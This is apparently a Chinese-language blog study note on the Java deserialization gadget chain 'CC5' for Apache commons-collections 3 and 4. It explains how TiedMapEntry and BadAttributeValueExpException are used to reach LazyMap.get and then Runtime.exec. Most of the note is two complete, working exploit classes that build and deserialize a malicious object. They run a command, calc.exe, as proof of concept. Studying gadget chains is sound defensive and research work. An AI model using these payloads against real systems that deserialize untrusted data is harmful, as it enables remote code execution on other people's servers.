java反序列化----CC5利用链学习笔记(基于commons-collections3和4)
java反序列化----CC5利用链学习笔记
环境配置
jdk8u(无java版本要求)
pom.xml中写入
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用链
CC1的LazyMap利用链(但是使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类)
因为jdk8u71之后CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,
并且还用了TiedMapEntry类来调用LazyMap的get方法
java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)
前半部分payload和CC1的大体相同
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry
TiedMapEntry实现了Serializable接口,并在getValue方法中调用了map.get方法,map是Map类型,可以把LazyMap类型参数传入进去
getValue方法是在toString方法中被调用
现在我们要找到一个类重写了readObject方法并且readObject方法可以调用toString方法
BadAttributeValueExpException
BadAttributeValueExpException类中发现调用了toString方法
所以可以将LazyMap类当做参数传入TiedMapEntry类中,通过观察构造函数发现还得传入一个Object key参数(可以随便传)
然后再通过反射将TiedMapEntry类赋给val值
最终EXP:
package cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC5 {
public static void main(String[] args) throws Exception {
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
oos.writeObject(badAttributeValueExpException);
//发序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.txt"));
ois.readObject();
}
}
将commons-collections3改为4的payload
package cc5;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5_2 {
public static void main(String[] args) throws Exception {
String cmd = "calc.exe";
//构造恶意调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Class<DefaultedMap> c = DefaultedMap.class;
Constructor<DefaultedMap> constructor = c.getDeclaredConstructor(Map.class,Transformer.class);
constructor.setAccessible(true);
DefaultedMap lazyMap = constructor.newInstance(hashMap,chainedTransformer);//LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
//序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5_2.txt"));
oos.writeObject(badAttributeValueExpException);
//发序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5_2.txt"));
ois.readObject();
}
}
参考文章
https://www.cnblogs.com/1vxyz/p/17473581.html
https://blog.csdn.net/qq_35733751/article/details/119077706